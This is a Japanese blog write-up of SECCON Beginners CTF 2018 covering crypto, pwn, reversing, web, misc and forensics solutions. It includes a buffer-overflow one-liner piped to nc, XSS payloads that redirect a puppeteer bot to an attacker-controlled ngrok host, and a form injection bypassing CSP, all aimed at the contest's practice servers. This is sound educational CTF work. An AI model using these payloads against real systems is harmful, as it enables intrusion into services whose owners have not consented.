僕は全問解いていないので、全問揃ったWrite-upが見たい場合は他の方が書いたこのwrite-upがよさそうです → SECCON Beginners CTF 2018 Write-up - Qiita
SECCON Beginners CTF 2018 にチーム SQUID として参加しました
「チーム名はいかした名前がいいよね」ということで決まったチーム名でした
1343点で43位でした
はじめてのチーム参加でしたが、自分ひとりだけの知恵で戦う必要がなく、とても良い体験でした
僕は16問中11問解き、今回の記事では解いたものに関してのwrite-upを記述しています
Crypto
[Warmup] Veni, vidi, vici
はチームの zzuf が解きました
Streaming
はチームの taryan が解きました
この分野ほんとうにわからんし一番望みがないものだったのでありがたい :pray:
RSA is Power
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577 E = 65537 C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
そんなに大きくない桁のRSA暗号でした
$ ./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577 ~中略~ memory use: 2.6 MB lanczos halted after 408 iterations (dim = 25732) recovered 17 nontrivial dependencies prp39 factor: 299681192390656691733849646142066664329 prp39 factor: 324144336644773773047359441106332937713 elapsed time 00:02:34
というわけで
P = 299681192390656691733849646142066664329 Q = 324144336644773773047359441106332937713
あとはCを復号します
import rsa import binascii N = 97139961312384239075080721131188244842051515305572003521287545456189235939577 E = 65537 C = 77361455127455996572404451221401510145575776233122006907198858022042920987316 P = 299681192390656691733849646142066664329 Q = 324144336644773773047359441106332937713 D = rsa.key.calculate_keys_custom_exponent(P, Q, E)[1] plain = pow(C, D, N) print(binascii.unhexlify(hex(plain)[2:]).decode('utf-8'))
ctf4b{5imple_rs4_1s_3asy_f0r_u}
Pwn
1問しか解いてません
1問解けたので満足しています
pwnはそれぞれサーバーのバイナリが用意されていました
[Warmup] condition
接続すると
Please tell me your name...
となり、 文字列を入力すると
Please tell me your name...testtest Permission denied
となる
配布されているバイナリを逆アセンブルすると
0x0000000000400796 <+37>: mov eax,0x0 0x000000000040079b <+42>: call 0x400620 <gets@plt> => 0x00000000004007a0 <+47>: cmp DWORD PTR [rbp-0x4],0xdeadbeef 0x00000000004007a7 <+54>: jne 0x4007bf <main+78>
こんな感じで、getsで取得したバッファの後に 0xdeadbeef
が入って入ればフラグが表示されるように分岐されるようなので、
python -c 'print "a" * 44 +"\xef\xbe\xad\xde"' | nc pwn1.chall.beginners.seccon.jp 16268
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
Reversing
前までこのレベルでもうんともすんとも言わなかったので、今回は2つ解けてよかったです
BBSにも挑戦したのですが、 system
にどうやって /bin/sh
を渡すか分からず…
ROPを使うらしいが、そのROPの手法がよく分からなかったです、無念
[Warmup] Simple Auth
逆アセンブルすると入力された文字列とそのまま比較してる箇所があったので、それが答えでした
4006a8: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63 4006ac: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74 4006b0: c6 45 d2 66 mov BYTE PTR [rbp-0x2e],0x66 4006b4: c6 45 d3 34 mov BYTE PTR [rbp-0x2d],0x34 4006b8: c6 45 d4 62 mov BYTE PTR [rbp-0x2c],0x62 4006bc: c6 45 d5 7b mov BYTE PTR [rbp-0x2b],0x7b 4006c0: c6 45 d6 72 mov BYTE PTR [rbp-0x2a],0x72 4006c4: c6 45 d7 65 mov BYTE PTR [rbp-0x29],0x65 ~省略~ 400700: c6 45 e6 72 mov BYTE PTR [rbp-0x1a],0x72 400704: c6 45 e7 64 mov BYTE PTR [rbp-0x19],0x64 400708: c6 45 e8 7d mov BYTE PTR [rbp-0x18],0x7d
ctf4b{rev3rsing_p4ssw0rd}
Activation
この問題の FLAG は ctf4b{アクティベーションコード} です。
exeが降ってきてギョッとした、まだ慣れない…
file
で見てみると.Netだったので dnSpy に入れます
ちょっと前まではILSpyを使ってたけどdnSpyのほうが見やすいしいいのでこっちを使いましょう
どうやら文字列が軽く暗号化されており、先にこれを復号しておく必要がありそうだったので複合する
数百程度の要素を持つbyte型の配列に対して以下のような感じで復号
crypted_list = [] # ここにbytes型(PythonではInt型)の要素が入る decrypted_list = [] for i, c in enumerate(crypted_list): decrypted_list.append((j ^ i ^ 170) % 256) print "".join(map(lambda x: chr(x), decrypted_list)) # 読める文字列
C#で取得されるときはこんな感じで、
public static string a() { return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[1] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(1, 15, 35); }
- 用意されたstring型配列のindex 1に要素があれば返す
- なければさっき復号した文字列の15番目から35文字を取り出して返す
といったものだったので、これ以降文字列を取る際はさっき復号した文字列から取ることになります
次に起動されてからアクティベーションコードが認証までを探ります
- ドライブ一覧を取得
- ルートディレクトリ内で
*.*
というルールでファイルを取得 - いずれかのファイルが
SECCON_BEGINNERS
と等しければflag
変数をtrue
にする
- ルートディレクトリ内で
flag
変数がfalse
なら終了- AesCryptoServiceProviderのインスタンスを作成
BlockSize = 128
KeySize = 256
IV = "CTF4B7E1" + "CTF4B7E1"
Key = "SECCON_BEGINNERS"
Mode = CipherMode.ECB
Padding = PaddingMode.PKCS7
- ユーザーが入力した文字列を上のAesCryptoServiceProviderで暗号化、base64した結果が
E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5
と等しければ認証成功
といった感じでした
やることは簡単で、E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5
を復号した結果が正しいアクティベーションコードなので、復号します
using System; using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; public class Hello{ public static void Main() { AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider(); aesCryptoServiceProvider.BlockSize = 128; aesCryptoServiceProvider.KeySize = 256; aesCryptoServiceProvider.IV = Encoding.ASCII.GetBytes("CTF4B7E1" + "CTF4B7E1"); aesCryptoServiceProvider.Key = Encoding.ASCII.GetBytes("SECCON_BEGINNERS"); aesCryptoServiceProvider.Mode = CipherMode.ECB; aesCryptoServiceProvider.Padding = PaddingMode.PKCS7; byte[] criptedBytes = Convert.FromBase64String("E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5"); byte[] inArray = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(criptedBytes, 0, criptedBytes.Length); string plaintext = Encoding.ASCII.GetString(inArray); Console.WriteLine(plaintext); } };
ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}
Web
[Warmup] Greeting
と SECCON Goods
は zzuf が解きました
SECCON Goods
に関しては問題鯖に対して sqlmap を撃ってflagを出したらしいです
Gimme your comment
このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)
付与されたjsを見ると、 puppeteer
が動いており、
- コメント投稿後にコメントのページに移動
input[name="comment_content"]
に投稿ありがとうございます。大変参考になりました。
と入力button[type=submit]
をクリック
というように動いていました
入力したコメント本文がエスケープされずそのままhtmlに貼られたので、自前で適当なサーバーを作ってそこにリダイレクトさせます
from flask import Flask, request app = Flask(__name__) @app.route('/') def hello(): name = "Hello World" print request.headers.get('User-Agent') return name if __name__ == "__main__": app.run(debug=True)
$ ngrok http 5000 # Forwarding にngrokドメインのurlが貼られるのでそれを使う
<script>location.href = 'http://{Forwardingの文字列}.ngrok.io';</script>
ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
Gimme your comment REVENGE
1つ前のものと比べ、基本的な動きや puppeteer
で動くクライアントのソースコードは全く変わっていませんでした
同じくコメント本文はエスケープされなかったのでとりあえず同じようにXSSを狙うと、次のようなエラーが出ます
Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-dtZQXTtwWaTWzlzbWQI5YFQO/v4LWqNq9cqtOQ8D9nI='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
ヘッダにある Content-Security-Policy: default-src 'self'
によってこうなるらしいです、こんなの初めて知った…
ただ前回と同じくエスケープはされないため、コメントでもう1つ <form>
と <button>
を用意して、それを押してもらいます。
<form method="post" "http://{Forwardingの文字列}.ngrok.io/comments"> <input type="text" name="comment_content"> <button type="submit">コメントを送信する</button> </form>
自前のサーバー側も少し手を加えます
@app.route('/comment', methods=['POST']) def comment(): name = "comment" print request.headers.get('User-Agent') return name
ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}
Misc
[Warmup] Welcome
フラグは公式IRCチャンネルのトピックにあります。
とのことで、ルールのページに記載されていたIRCチャンネルにログインすると表示されました
本当にめちゃくちゃ久々にIRCを触った…
[Warmup] plain mail
pcapファイルがあり、平文でのメールのやりとりがキャプチャされていました
フラグになるっぽいメール本文は2つあり、片方はzipつき、もう片方は you_are_pro
という本文でした
zipは鍵がかかっており、パスワードを尋ねられたので you_are_pro
と入力したら解凍できました PRO
ctf4b{email_with_encrypted_file}
てけいさんえくすとりーむず
$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690 Welcome to TEKEISAN for Beginners -extreme edition- --------------------------------------------------------------- Please calculate. You need to answered 100 times. e.g. (Stage.1) 4 + 5 = 9 ... (Stage.99) 4 * 4 = 869 [!!] Wrong, see you. --------------------------------------------------------------- (Stage.1) 869 + 924 = 1793 (Stage.2) 665 * 677 = a [!!] Wrong, see you.
こういうやつでした、愚直に解くものを書きます
from socket import * s = socket(AF_INET, SOCK_STREAM) s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)) while True: text = s.recv(4096) print text prob = text.split('\n')[-1] ans = eval("".join(prob.split(' ')[:3])) print ans s.send("{}\n".format(ans))
ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}
Find the messages
disc.img
というバイナリが配布されます
$ file disk.img disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x1,22,31), end-CHS (0x63,36,30), startsector 2046, 129024 sectors
mountできるものではなさそうなので、 testdisk を使ってファイルを取り出します
[Proceed]
-> [Intel]
-> [Analyse]
-> [Quick Search]
-> 見たいパーティションの上で P
とすると内部のディレクトリを覗くことができます
A
ですべてのファイルを選択し、C
でコピーに移り、保存先を指定できるので適当なディレクトリを指定します
$ tree . ├── lost+found ├── message1 │ └── message_1_of_3.txt ├── message2 │ └── message_2_of_3.png └── message3 └── message_3_of_3.pdf 4 directories, 3 files
message{1,2,3}のそれぞれにフラグの欠片のようなものがあるので見ていきましょう
$ cat message_1_of_3.txt | base64 -d ctf4b{y0u_t0uched
ctf4b{y0u_t0uched
$ file message_2_of_3.png message_2_of_3.png: data
2つ目はpngかと思いきやそうではないようです
バイナリエディタで見てみると、マジックナンバーが X
で埋められているので正しいマジックナンバーに直します
開くことができました
_a_part_0f_
そのまま3つ目を探ろうとしましたが、 message_3_of_3.pdf
は0バイトでした
別のツールを使ってpdfだけ抽出してみます
$ foremost -t pdf -i disk.img foremost: /usr/local/etc/foremost.conf: No such file or directory Processing: disk.img |*| $ tree ./output ./output ├── audit.txt └── pdf └── 00018946.pdf
こちらは正しそうなpdfで、開くことができました
disk_image_for3nsics}
ということでフラグは以下のとおりです↓
ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}